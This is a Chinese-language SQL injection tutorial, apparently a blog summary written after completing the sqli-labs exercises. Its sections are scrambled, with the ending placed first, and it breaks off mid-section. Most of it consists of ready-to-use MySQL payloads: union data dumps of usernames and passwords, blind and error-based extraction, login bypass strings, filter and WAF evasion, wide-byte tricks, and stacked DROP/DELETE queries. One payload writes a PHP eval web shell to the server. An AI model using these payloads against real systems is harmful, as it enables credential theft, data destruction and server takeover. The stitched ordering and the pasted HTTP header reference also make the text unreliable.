?sort=rand(false)--+
rand(true)和 rand(false)的结果是不一样的,说明注入成功
延时型注入
?sort=1 and (要注入的语句)--+
?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))--+
?sort=1 and (select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)--+
?sort=1 and (left(database(),2)>'sa')--+
procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入
同时,在 procedure analyse 和 order by 之间可以存在limit 参数
我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入
?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你希望的查询语句))))--+
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+
select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)
将查询结果导入到文件当中
?sort=1 into outfile "/tmp/test1.txt"--+
?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile "/tmp/test1.txt"--+
14、防御措施
简单的防御措施
- 构造sql语句时使用参数化形式
- 采用sql语句预编译和绑定变量
- 严格的过滤
- 使用SQL Server数据库自带的安全参数
- 设置陷阱账号
结语
对这将近一个月的sql学习做个归纳和总结
sql注入详解 一文了解sql注入所有常见方法
前言
刷完了sqli-labs
对sql注入有了些许认识
在此做个小结与记录
1、什么是sql注入
sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一种语言
常见的结构化数据库有 MySQL,MS SQL ,Oracle 以及 Postgresql
SQLI,sql injection,我们称之为 sql 注入
即把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力
2、sql注入原理
当出现以下条件时,有sql注入的可能:
- 程序编写者在处理程序和数据库交互时,使用了字符串拼接的方式构造SQL语句
- 不安全的数据库配置,比如对查询集不合理处理,对sql查询语句错误时不当的处理,导致其错误信息暴露在前端
- 过于信任用户在前端所输入的数值,没有对输入的数据进行过滤(过滤输入),也没有对发送到数据库的数据进行转义(转义输出)
一个简单的例子
前端URL:.php?id=1
其后台sql语句:$sql="SELECT 123 FROM abc WHERE id='1'"
- 这条语句是采用拼接方式去对数据库内容进行查询的
- 未对用户在前端输入的内容做过滤
- 用户对id这个参数可控
于是攻击者上传?id=-1' union select password from admin--+
后台语句就变成了$sql="SELECT 123 FROM abc WHERE id='-1' union select password from admin--+"
用一个'
闭合了前面的语句,用--+
注释后面的内容,使得第二句union查询的语句得到执行,获取admin的密码
这就是sql注入的方法
3、必备知识
一些sql语句知识
(1)sql语句对大小写不敏感
也导致了后台程序对大小写的检测失效
(2)SQL 注释语句
--
:表示单行注释,在mysql中也用#
注释/*…*/
:用于多行(块)注释
(3)SELECT 查询语句
基础的查询方法
如
SELECT 列名称 FROM 表名称;
(4)UNION 操作符
用于合并两个或多个 SELECT 语句的结果集
- Union前后的两个SQL语句的选择列数必须相同才可以
- 如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出,所以前面id输入一个非正确值,如-1
如
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2;
(5)concat()
用于将两个字符串连接为一个字符串
语法及使用特点:
CONCAT(str1,str2,…)
- 返回结果为连接参数产生的字符串
- 如有任何一个参数为NULL ,则返回值为 NULL
- 可以有一个或多个参数
使用示例:
SELECT CONCAT(id, ',', name) AS con FROM info LIMIT 1;
(6)concat_ws()
语法
CONCAT_WS(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式
- 第一个参数是其它参数的分隔符,分隔符的位置放在要连接的两个字符串之间
- 分隔符可以是一个字符串,也可以是其它参数
- 如果分隔符为 NULL,则结果为 NULL
- 函数会忽略任何分隔符参数后的 NULL 值
- 但是CONCAT_WS()不会忽略任何空字符串
如
SELECT CONCAT_WS('_',id,name) AS con_ws FROM info LIMIT 1;
(7)group_concat()
返回一个字符串结果,该结果由分组中的值连接组合而成
使用语法及特点:
GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])
- 在 MySQL 中,可以得到表达式结合体的连结值
- 通过使用 DISTINCT 可以排除重复值
- 如果希望对结果中的值进行排序,可以使用 ORDER BY 子句。
- SEPARATOR 是一个字符串值,它被用于插入到结果值中
- 缺省为一个逗号 (","),可以通过指定 SEPARATOR “” 完全地移除这个分隔符
- 可以通过变量 group_concat_max_len 设置一个最大的长度
- 在运行时执行的句法如下:
SET [SESSION | GLOBAL] group_concat_max_len = unsigned_integer;
- 如果最大长度被设置,结果值被剪切到这个最大长度
- 如果分组的字符过长,可以对系统参数进行设置:
SET @@global.group_concat_max_len=40000;
如
SELECT locus,GROUP_CONCAT(id) FROM info WHERE locus IN('AB086827','AF040764') GROUP BY locus;
(8)order by
用于根据指定的列对结果集进行排序
- 默认按照升序对记录进行排序
- 如果要按照降序对记录进行排序,可以使用 DESC 关键字
如
SELECT Company, OrderNumber FROM Orders ORDER BY Company (DESC);
(9)group by
用于结合合计函数,根据一个或多个列对结果集进行分组
语法
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
(10)extractvalue() 和 updatexml()
对XML文档进行查询和修改的函数
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1);
(11)if()
语法
IF(expr1,expr2,expr3)
其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。
如
select
if(il.status_id = 'INV_STTS_AVAILABLE','全新','二手') as status_id
from inventory_location as il;
(12)sleep()
执行select sleep(N)
可以让此语句运行N秒钟
(13)left()
语法
LEFT(str,len)
返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。
如
SELECT LEFT('foobarbar', 5);
(14)count()
COUNT(column_name)返回指定列的值的数目(NULL 不计入)
SELECT COUNT(column_name) FROM table_name
COUNT(*) 函数返回表中的记录数:
SELECT COUNT(*) FROM table_name
COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:
SELECT COUNT(DISTINCT column_name) FROM table_name
注:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。
(15)floor()
返回最大整数,使这个整数小于或等于指定数的数值运算
(16)round()
四舍五入一个正数或者负数,结果为一定长度的值
(17)rand()
用于产生 0 至 1 之间的随机数
(18)length()
返回字符串的长度,以字节为单位
(19)extract()
用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等
EXTRACT(unit FROM date)
4、检测方法
首先是判断能不能进行sql注入
是哪种sql注入
(1)数字型
?id=1 and 1=1 返回成功
?id=1 and 1=2 返回失败
这说明是数字型注入,或者叫整型注入
此时后台是
select * from <表名> where id = x and 1=1
select * from <表名> where id = x and 1=2
显然一个判断为真,一个判断为假
(2)字符型
比如后台是
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
那类比整型注入
?id=1' and '1'='1 返回成功
?id=1' and '1'='2 返回失败
还有更简单点的
?id=1' 报错
?id=1' --+ 正常
当然这里除了'
还有可能是"
、')
、")
等
(3)搜索型
- 搜索
'
,如果出错,说明90%存在这个漏洞 - 搜索
%
,如果正常返回,说明95%有洞了 - 搜索一个关键字,比如
test
,正常返回所有test相关的信息 - 再搜索
test%'and 1=1 and '%'='
和test%'and 1=2 and '%'='
(4)万能密码
用户密码登录时
在用户或密码栏尝试如下
1' or '1'='1
' or 1=1 or '
' or 1=1 --
1' or '1'='1' or '1'='1
类似这样的语句
(5)注意事项
- 如果应用程序已经过滤了
'
和+
等特殊字符,可以在输入时把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查 - 不同sql服务器语法不同,如mysql用
+
连接字符串,Oracle使用||
5、基本流程
以字符型注入为例
整型类比着来就是了
现在假设我们通过测试
知道是单引号字符型注入
先用order by猜列数
?id=1' order by 3 --+ 正常
?id=1' order by 4 --+ 报错
这就说明共3列
然后用union查询看哪个列会返显
?id=-1'union select 1,2,3--+
比如返回了数字2
说明第2列会返显
那就可以继续了
爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆数据表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table_name--+
爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
这就是个最基本的sql注入流程
6、盲注
上面的基本流程是显错的
即报错会返显
但大部分时候是没有这么好的事儿的
需要利用一些方法进行判断或者尝试
这就是盲注了
主要有
- 基于布尔sql盲注
- 基于时间的sql盲注
- 基于报错的sql盲注
布尔盲注和延时盲注最好用sqlmap或脚本
手工注入工作量太大了
(1)布尔盲注
布尔型注入中,正确会回显,错误没有回显
用以下的函数进行注入和猜测
- left(string, n)
得到字符串左部指定个数的字符
string为要截取的字符串,n为长度
admin' and left((要注入的语句),1)='xxx’#
admin' and left((select database() limit 0,1),1)='s'#
- substr(string, start, length)
截取字符串,mid()函数用法一样
string为要截取的字符串,start为开始位置,length为截取的长度
substr(DATABASE(),1,1)>'a' 查看数据库名第一位
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'
- ascii()
将某个字符转换为ASCII码的值,常配合截取函数使用
ascii(substr((语句),1,))=xxx //二进制
admin' and ascii(substr((要注入的语句),0,1))=102#
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
- ord()
同 ascii(),将字符转为 ascii 值
ord(mid((语句),1,1))=xxx // 十六进制
admin' and ord(mid((select username from security.users limit 0,1),1,1))=68#
admin' and ord(mid((select password from security.users limit 0,1),1,1))=68#
- regexp
正则注入函数
xxxx regexp '\^us[a-z]'
admin' and ((要注入的语句) regexp '\^se' limit 0,1)#
admin' and (select database() regexp '\^se' limit 0,1)#
(2)延时盲注
时间延迟注入,正确会延迟,错误没有延迟
也是用以下函数进行注入和猜测
- sleep() 函数
?id=1' and sleep(5)--+
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
?id=1' and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#
- benchmark(count,expr)函数
count为次数,expr为要执行的表达式
可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功
?id=1' and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode('msg','key')),1)#
?id=1' union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#
?id=1' and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and if(ascii(substr(benchmark(50000000,encode('msg','key')),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#
当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间
benchmark()函数,可以测试某些特定操作的执行速度
该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
- heavy query 笛卡尔积
具体的方式就是将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到产生攻击者想要的时间延迟 - get_lock GET_LOCK
有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败,然后就会等待设定好的时间
select * from ctf where flag = 1 and 1 and get_lock('username',5);
select * from ctf where flag = 1 and 0 and get_lock('username',5);
- 还有一些奇技淫巧
类似benchmark,边信道攻击,占用大量的运算和时间
(3)报错盲注
- 利用 floor(rand(x)*2) 的执行bug进行报错注入
取得 0 or 1,进行数据的重复
concat 计数
group by 进行分组
需要将 rand(0),rand()需要多试几次
?id=1' union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2)) as a from information_schema.columns group by a#
?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2)) as x from information_schema.tables group by x)a)#
?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
- 利用 extractvalue() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用
?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=-1' and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#
?id=1' and extractvalue(1,concat(0x7e,(database())))#
?id=1' and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#
- 利用 updatexml() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位
?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
- 利用 name_const 数据的重复性
低版本可用,mysql 5.0可用,mysql 5.6不可用
mysql 重复特性,报错
?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
- 利用 double 数值类型超出范围进行报错注入
Exp()为以 e 为底的对数函数
版本在 5.5.5 及其以上
?id=1' union select (exp(~(select * from(select user())a))),2,3#
- 利用 bigint 溢出进行报错注入(
~0
是对 0 逐位取反,
MySQL版本在 5.5.5 及其以上
?id=1' union select (!(select * from (select user())x) - ~0),2,3#
下面为句式:
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
select ~0+!(select*from(select user())x)
- 句式组合:
(select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)
遇到无法使用 select * from *
查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”
?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1' union select (exp(~(select * from(select user())a))),2,3#
7、导出文件注入
条件
- 用户权限足够高,尽量具有root权限
- Secure_file_priv不为NULL
secure-file-priv参数
- 用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
- Secure_file_priv的修改
- 进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数为空
- 如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可
测试
?id=1' and (select count(*) from mysql.user)>0--+
正常回显的话,说明有权限
注入
?id=0' union select version(),user(),database() into outfile "a.txt"--+
一句话木马
?id=-1' union select 1,2,'<?php @eval($_POST["caidao"]);?>' into outfile "caidao.php"--+
8、header注入
就是注入点在http的头部
注入方法如前所述
就是注入点变了
下面这些都有可能
还有就是要注意下可能要base64编码
- Accept
告诉WEB 服务器自己接受什么介质类型,/ 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。 - Accept-Charset
浏览器申明自己接收的字符集 - Accept-Encoding
浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate) - Accept-Language
浏览器申明自己接收的语言,语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk 等等 - Accept-Ranges
WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。 - Age
当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了 - Authorization
当客户端接收到来自WEB 服务器的WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给WEB 服务器。 - Cache-Control
请求:no-cache(不要缓存的实体,要求现在从WEB 服务器去取)
max-age:(只接受Age 值小于max-age 值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前Age 跟min-fresh 值之和的缓存对象)
响应:public(可以用Cached 内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟WEB 服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL: no-store(不允许缓存) - Connection
请求:close(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300 - Content-Encoding
WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip - Content-Language
WEB 服务器告诉浏览器自己响应的对象的语言。 - Content-Length
WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012 - Content-Range
WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。
例如:Content-Range: bytes 21010-47021/47022 - Content-Type
WEB 服务器告诉浏览器自己响应的对象的类型。
例如:Content-Type:application/xml - ETag
就是一个对象(比如URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟Last-Modified 的作用差不多,主要供WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。 - Expired
WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟WEB 服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0 的头部。
例如:Expires:Sat, 23 May 2009 10:02:12 GMT - Host
客户端指定自己想访问的WEB 服务器的域名/IP 地址和端口号。
例如:Host:rss.sina.com.cn - If-Match
如果对象的ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。. - If-None-Match
如果对象的ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。 - If-Modified-Since
如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作( 比如返回对象), 否则返回代码304 ,告诉浏览器该对象没有修改。
例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT - If-Unmodified-Since
如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。 - If-Range
浏览器告诉WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给WEB 服务器,让其判断对象是否改变了。总是跟Range 头部一起使用。 - Last-Modified
WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT22、Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。
例如: Location : .gif - Pramga
主要使用Pramga: no-cache,相当于Cache-Control: no-cache。
例如:Pragma:no-cache - Proxy-Authenticate
代理服务器响应浏览器,要求其提供代理身份验证信息。 - Proxy-Authorization
浏览器响应代理服务器的身份验证请求,提供自己的身份信息。 - Range
浏览器(比如Flashget 多线程下载时)告诉WEB 服务器自己想取对象的哪部分。
例如:Range: bytes=1173546- - Referer
浏览器向WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如:Referer:/ - Server
WEB 服务器表明自己是什么软件及版本等信息。
例如:Server:Apache/2.0.61(Unix) - User-Agent
浏览器表明自己的身份(是哪种浏览器)。
例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14 - Transfer-Encoding
WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked - Vary
WEB 服务器用该头部的内容告诉Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么Cache 服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache 服务器用自己Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding - Via
列出从客户端到OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via 头部,并把自己的相关信息加到后面,以此类推,当OCS 收到最后一个代理服务器的请求时,检查Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)
9、绕过各种过滤
一些普通的防护措施是过滤
过滤注释和空格
检测
确认过滤了#
http://10.10.10.139/sql/Less-26/?id=%231
确认过滤了or
http://10.10.10.139/sql/Less-26/?id=or1
确认过滤多行注释符
http://10.10.10.139/sql/Less-26/?id=/*1
确认过滤了单行注释
http://localhost/sqli-labs/Less-26/?id=--1
确认过滤了斜杠
http://10.10.10.139/sql/Less-26/?id=/1
确认过滤了反斜杠
http://10.10.10.139/sql/Less-26/?id=\
确认过滤了空格,报错注入才行哦,这个判断
http://10.10.10.139/sql/Less-26/?id=1' ' '
绕过方法:
- 注释可以尝试用
'
闭合后面语句 - 空格:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
这里要注意,在windows下无法使用一些特殊的字符代替空格,因为apache的解析的问题
?id=-1' union select 1, 2, 3 '
?id=-1'%a0union%a0select%a01,database(),3%26%26'1'='1
过滤or
和and
想办法绕过or
和and
就行:
- 大小写变形: Or,OR,oR
- 双写:oorr,anandd
- 编码:hex,urlencode
- 添加注释: /or/
- 利用符号:&& ,||
过滤union等指令
通常还是大小写和双写或编码绕过
10、绕过waf
这个简单提一嘴
通常是给个值欺骗waf
如这么个双服务器
- tomcat为引擎的jsp型服务器
- apache为引擎的php服务器,提供web服务
输入给两个值
- 一个是欺骗tomcat的
- 一个是注入到apache的
?id=1&id=-1' union select 1,2,database() --+
11、宽字节注入
字符集
字符集也叫字符编码,是一种将符号转换为二进制数的映射关系
几种常见的字符集:
- ASCII编码:单字节编码
- latin1编码:单字节编码
- gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
- UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出echo strlen("和");
来测试,当将页面编码保存为gbk时输出2,utf-8时输出3
除了gbk以外,所有ANSI编码都是2个字节
ansi只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK
概述
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
数据提交到MySQL数据库,需要进行字符集的转换,使得MySQL数据库可以对数据进行处理,这一过程一般有以下三个步骤:
- 收到请求,将请求数据从 character_set_client ->character_set_connection。
- 内部操作,将数据从character_set_connection-> 表创建的字符集。
- 结果输出,将数据从表创建的字符集 -> character_set_results。
例:当执行set names “charset”,相当于执行
set character_set_client = charset
set character_set_connection = charset
set character_set_results = charset
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等
当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
- character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集
- character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集
- character_set_database:数据库缺省编码字符集
- character_set_filesystem:文件系统编码字符集
- character_set_results:SQL语句执行结果编码字符集
- character_set_server:服务器缺省编码字符集
- character_set_system:系统缺省编码字符集
- character_sets_dir:字符集存放目录,一般不要修改
宽字节对转义字符的影响发生在character_set_client=gbk的情况
也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\
,从而导致转义失败
例如说PHP的编码为 UTF-8, 而 MySql的编码设置为了SET NAMES 'gbk'
或是 SET character_set_client =gbk
,这样配置会引发编码转换从而导致的注入漏洞
注入原理
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c
就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)
我们在过滤 '
的时候,往往利用的思路是将'
转换为\'
PHP 自带一些转义特殊字符的函数,如addslashes(),mysql_real_escape_string(),mysql_escape_string()等,这些函数可用来防止 SQL 注入:
- addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串,预定义字符——单引号(’)、双引号(")、反斜杠(\)、NULL
- tripslashes()函数:删除由 addslashes() 函数添加的反斜杠
- mysql_real_escape_string()函数:转义SQL 语句中使用的字符串中的特殊字符——
\x00
、\n
、\r
、\
、'
、"
、\x1a
如id=1' or '1'='1
,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\
,变为1\' or \'1\'=\'1
,如此在 SQL 查询中是一个普通的字符串,不能进行注入
因此我们在此想办法将'
前面添加的\
去掉,一般有两种思路:
%bb
吃掉\
若在 PHP 中使用mysql_query("set names gbk")
将默认字符集设为GBK,而使用addslashes()转义用户输入,这时如果用户输入%bb%27
,则addslashes()会在%27
前面加上一个%5c
字符,即转义字符\
而 MySQL 在使用GBK编码时,会认为两个字符为一个汉字,%bb%5c
是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是籠
,也就是说%bb%5c%27=籠'
,这样单引号就未被转义能闭合语句,从而产生 SQL 注入
%bb
并不是唯一一个可以产生宽字节注入的字符,理论上%81-%FE
均可- 过滤
\'
中的\
构造%bb%5c%5c%27
,addslashes()会在两个%5c
间和%27
前都加上\
即%5c
,变为%bb%5c%5c%5c%5c%5c%27
,但宽字符集认为%bb%5c
是一个字符即籠
,则变为%bb%5c %5c%5c %5c%5c %27
即籠\\\\'
,四个\
正好转义为两个\
,即'
未被转义
防御措施
先调用mysql_set_charset函数设置连接所使用的字符集为gbk
再调用mysql_real_escape_string函数来过滤用户输入
先编码也意味着反斜杠即%5c
不会出现,到下一步的转义引号才出现
这就造成了编码过后转义引号的反斜杠即字符%5c
不会和字符%bb
变成一个宽字符,阻止了%bb
和 %5c
的拼接,于是防宽字符注入成功
12、堆叠注入
堆叠注入(Stacked injections)
从名词的含义就可以看到是一堆 sql 语句(多条)一起执行
原理
在 SQL 中,分号 ;
是用来表示一条 sql 语句的结束
在 ;
结束一个 sql语句后继续构造下一条语句,会不会一起执行?这就是堆叠注入
与union injection (联合注入)的区别: union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
例如以下这个例子:
用户输入:
1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
局限性
主要是以下几个问题:
-
堆叠注入并不是每一个环境下都可以执行
可能受到 API 或者数据库引擎不支持的限制
权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 -
在我们的 web 系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用 union(联合)注入
-
同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息
各个数据库实例介绍
1、Mysql 数据库
新建一个表
select * from users where id=1;create table test like users;
show tables;
删除上面新建的 test 表
select * from users where id=1;drop table test;
show tables;
查询数据
select * from users where id=1;select 1,2,3;
加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
修改数据
